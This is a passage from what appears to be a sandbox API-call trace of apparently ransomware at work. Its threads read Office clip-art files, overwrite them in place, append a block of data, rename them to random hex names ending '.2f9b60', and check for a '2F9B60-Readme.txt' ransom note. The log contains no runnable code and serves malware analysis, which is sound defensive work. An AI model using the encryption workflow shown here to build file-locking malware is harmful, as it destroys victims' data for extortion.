Seed=0x2504fc10) returned 0x1d7ec50c [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x3dcddfca [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x1a29d5c4 [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x154509ee [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x3560ad80 [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x1522b0f1 [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x70239fb4 [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x16e5f698 [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x41db754 [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x634b853b [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x1085da33 [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x70f77fab [0134.126] RtlRandomEx (in: Seed=0x2504fc10 | out: Seed=0x2504fc10) returned 0x69f1b004 [0134.140] ReadFile (in: hFile=0x1bc4, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x88e, lpNumberOfBytesRead=0x2504fc10, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2504fc10*=0x88e, lpOverlapped=0x0) returned 1 [0134.140] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.140] WriteFile (in: hFile=0x1bc4, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x88e, lpNumberOfBytesWritten=0x2504fc14, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x2504fc14*=0x88e, lpOverlapped=0x0) returned 1 [0134.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6f50 [0134.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0134.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6530) returned 1 [0134.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0134.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0134.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea90) returned 1 [0134.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6530 [0134.154] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.154] WriteFile (in: hFile=0x1bc4, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2504fd30, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2504fd30*=0x10a, lpOverlapped=0x0) returned 1 [0134.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0134.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0134.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0134.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0134.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0134.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0134.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0134.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0134.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0134.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0134.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f1b0 [0134.174] sprintf (in: _Dest=0x1cd9f1b0, _Format="%c%c" | out: _Dest="ca") returned 2 [0134.174] sprintf (in: _Dest=0x1cd9f1b2, _Format="%c%c" | out: _Dest="af") returned 2 [0134.174] sprintf (in: _Dest=0x1cd9f1b4, _Format="%c%c" | out: _Dest="51") returned 2 [0134.174] sprintf (in: _Dest=0x1cd9f1b6, _Format="%c%c" | out: _Dest="fe") returned 2 [0134.174] sprintf (in: _Dest=0x1cd9f1b8, _Format="%c%c" | out: _Dest="67") returned 2 [0134.174] sprintf (in: _Dest=0x1cd9f1ba, _Format="%c%c" | out: _Dest="1b") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1bc, _Format="%c%c" | out: _Dest="1f") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1be, _Format="%c%c" | out: _Dest="a4") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1c0, _Format="%c%c" | out: _Dest="30") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1c2, _Format="%c%c" | out: _Dest="e1") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1c4, _Format="%c%c" | out: _Dest="99") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1c6, _Format="%c%c" | out: _Dest="87") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1c8, _Format="%c%c" | out: _Dest="63") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1ca, _Format="%c%c" | out: _Dest="50") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1cc, _Format="%c%c" | out: _Dest="a2") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1ce, _Format="%c%c" | out: _Dest="ad") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1d0, _Format="%c%c" | out: _Dest="15") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1d2, _Format="%c%c" | out: _Dest="0b") returned 2 [0134.175] sprintf (in: _Dest=0x1cd9f1d4, _Format="%c%c" | out: _Dest="47") returned 2 [0134.176] sprintf (in: _Dest=0x1cd9f1d6, _Format="%c%c" | out: _Dest="f8") returned 2 [0134.176] sprintf (in: _Dest=0x1cd9f1d8, _Format="%c%c" | out: _Dest="3b") returned 2 [0134.176] sprintf (in: _Dest=0x1cd9f1da, _Format="%c%c" | out: _Dest="65") returned 2 [0134.176] sprintf (in: _Dest=0x1cd9f1dc, _Format="%c%c" | out: _Dest="a8") returned 2 [0134.176] sprintf (in: _Dest=0x1cd9f1de, _Format="%c%c" | out: _Dest="e4") returned 2 [0134.176] RtlInitAnsiString (in: DestinationString=0x2504fda8, SourceString="caaf51fe671b1fa430e199876350a2ad150b47f83b65a8e4" | out: DestinationString="caaf51fe671b1fa430e199876350a2ad150b47f83b65a8e4") [0134.176] RtlAnsiStringToUnicodeString (in: DestinationString=0x2504fd78, SourceString="caaf51fe671b1fa430e199876350a2ad150b47f83b65a8e4", AllocateDestinationString=1 | out: DestinationString="caaf51fe671b1fa430e199876350a2ad150b47f83b65a8e4") returned 0x0 [0134.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced95c0 [0134.176] wcscat (in: _Dest=0x205089f0, _Source="caaf51fe671b" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\caaf51fe671b") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\caaf51fe671b" [0134.176] wcscat (in: _Dest=0x205089f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\caaf51fe671b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\caaf51fe671b.2f9b60" [0134.177] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\caaf51fe671b.2f9b60", NtPathName=0x2504fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\caaf51fe671b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0134.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad600 [0141.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad600) returned 1 [0141.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420522e0) returned 1 [0141.097] NtQueryInformationFile (in: FileHandle=0x1bc4, IoStatusBlock=0x2504fdb8, FileInformation=0x2504fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2504fdb8, FileInformation=0x2504fdc8) returned 0x0 [0141.097] NtSetInformationFile (FileHandle=0x1bc4, IoStatusBlock=0x2504fdb8, FileInformation=0x2504fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0141.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205089f0) returned 1 [0141.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced95c0) returned 1 [0141.098] FlushFileBuffers (hFile=0x1bc4) returned 1 [0141.101] CloseHandle (hObject=0x1bc4) returned 1 [0141.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b790 [0141.102] wcscpy (in: _Dest=0x1b86b790, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0141.102] wcscat (in: _Dest=0x1b86b790, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0141.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0141.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b790) returned 1 [0141.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ab30) returned 1 Thread: id = 1751 os_tid = 0x1760 [0132.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf")) returned 0x20 [0132.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF", dwFileAttributes=0x20) returned 1 [0133.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bd0 [0134.144] GetFileSizeEx (in: hFile=0x1bd0, lpFileSize=0x25bff840 | out: lpFileSize=0x25bff840*=2348) returned 1 [0134.144] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x928, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.145] ReadFile (in: hFile=0x1bd0, lpBuffer=0x25bff7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25bff808, lpOverlapped=0x0 | out: lpBuffer=0x25bff7c0*, lpNumberOfBytesRead=0x25bff808*=0x4, lpOverlapped=0x0) returned 1 [0134.155] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0134.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0134.156] NtQuerySystemTime (in: CurrentTime=0x25bff700 | out: CurrentTime=0x25bff700*=132462177393934000) returned 0x0 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x241c940 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x4506fd35 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x6884dc06 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x4e45845e [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x392225a7 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x18ad1763 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x23b58d44 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x7e486819 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x43d45aca [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x177c279c [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x48008425 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x48267c9c [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x363aeda9 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x3ece19d2 [0134.156] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x5f86f629 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x77a0198e [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x2dcfd6f2 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x8825464 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x551acb22 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x598dd5a3 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x4882b0d4 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x2b94a3a3 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x4966dd71 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x41fc59c0 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x107d5d59 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x753b484 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x376f741c [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x31c2c781 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x53a3c4df [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x18be4119 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x2294ce69 [0134.157] RtlRandomEx (in: Seed=0x25bff6f0 | out: Seed=0x25bff6f0) returned 0x2cf381b7 [0134.169] ReadFile (in: hFile=0x1bd0, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x92c, lpNumberOfBytesRead=0x25bff6f0, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x25bff6f0*=0x92c, lpOverlapped=0x0) returned 1 [0134.170] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.170] WriteFile (in: hFile=0x1bd0, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x92c, lpNumberOfBytesWritten=0x25bff6f4, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x25bff6f4*=0x92c, lpOverlapped=0x0) returned 1 [0134.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6da0 [0134.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e90 [0134.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6e90) returned 1 [0134.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0134.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0134.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea90) returned 1 [0134.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6e90 [0134.179] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.179] WriteFile (in: hFile=0x1bd0, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25bff810, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x25bff810*=0x10a, lpOverlapped=0x0) returned 1 [0134.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0134.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0134.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0134.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6530) returned 1 [0134.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0134.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0134.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0134.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0134.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0134.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9e930 [0134.191] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="23") returned 2 [0134.191] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="36") returned 2 [0134.191] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="8a") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="2d") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="80") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="52") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="9b") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="e6") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="95") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="f3") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="14") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="38") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="a1") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="84") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="86") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="d7") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="01") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="29") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="a1") returned 2 [0134.192] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="bd") returned 2 [0134.193] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="d2") returned 2 [0134.193] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="30") returned 2 [0134.193] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="39") returned 2 [0134.193] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="28") returned 2 [0134.193] RtlInitAnsiString (in: DestinationString=0x25bff888, SourceString="23368a2d80529be695f31438a18486d70129a1bdd2303928" | out: DestinationString="23368a2d80529be695f31438a18486d70129a1bdd2303928") [0134.193] RtlAnsiStringToUnicodeString (in: DestinationString=0x25bff858, SourceString="23368a2d80529be695f31438a18486d70129a1bdd2303928", AllocateDestinationString=1 | out: DestinationString="23368a2d80529be695f31438a18486d70129a1bdd2303928") returned 0x0 [0134.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0134.193] wcscat (in: _Dest=0x20508a90, _Source="23368a2d8052" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\23368a2d8052") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\23368a2d8052" [0134.193] wcscat (in: _Dest=0x20508a90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\23368a2d8052.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\23368a2d8052.2f9b60" [0134.193] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\23368a2d8052.2f9b60", NtPathName=0x25bff830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\23368a2d8052.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0134.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad550 [0146.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad550) returned 1 [0146.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051d20) returned 1 [0146.845] NtQueryInformationFile (in: FileHandle=0x1bd0, IoStatusBlock=0x25bff898, FileInformation=0x25bff8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25bff898, FileInformation=0x25bff8a8) returned 0x0 [0146.845] NtSetInformationFile (FileHandle=0x1bd0, IoStatusBlock=0x25bff898, FileInformation=0x25bff8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508a90) returned 1 [0147.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0147.009] FlushFileBuffers (hFile=0x1bd0) returned 1 [0147.062] CloseHandle (hObject=0x1bd0) returned 1 [0147.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86aa10 [0147.063] wcscpy (in: _Dest=0x1b86aa10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.063] wcscat (in: _Dest=0x1b86aa10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aa10) returned 1 [0147.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a7d0) returned 1 Thread: id = 1752 os_tid = 0x1764 [0132.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf")) returned 0x20 [0132.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF", dwFileAttributes=0x20) returned 1 [0133.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bdc [0134.202] GetFileSizeEx (in: hFile=0x1bdc, lpFileSize=0x2575fb60 | out: lpFileSize=0x2575fb60*=5610) returned 1 [0134.202] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x15e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.202] ReadFile (in: hFile=0x1bdc, lpBuffer=0x2575fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2575fb28, lpOverlapped=0x0 | out: lpBuffer=0x2575fae0*, lpNumberOfBytesRead=0x2575fb28*=0x4, lpOverlapped=0x0) returned 1 [0134.205] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0134.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0134.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.206] NtQuerySystemTime (in: CurrentTime=0x2575fa20 | out: CurrentTime=0x2575fa20*=132462177394402000) returned 0x0 [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x7b0c0eb7 [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x5926f6d4 [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x3b42a4cf [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x44554137 [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x6bfe07ef [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x182c8d23 [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x4352986e [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x5cd83c8d [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x3f33ccbc [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x49106e66 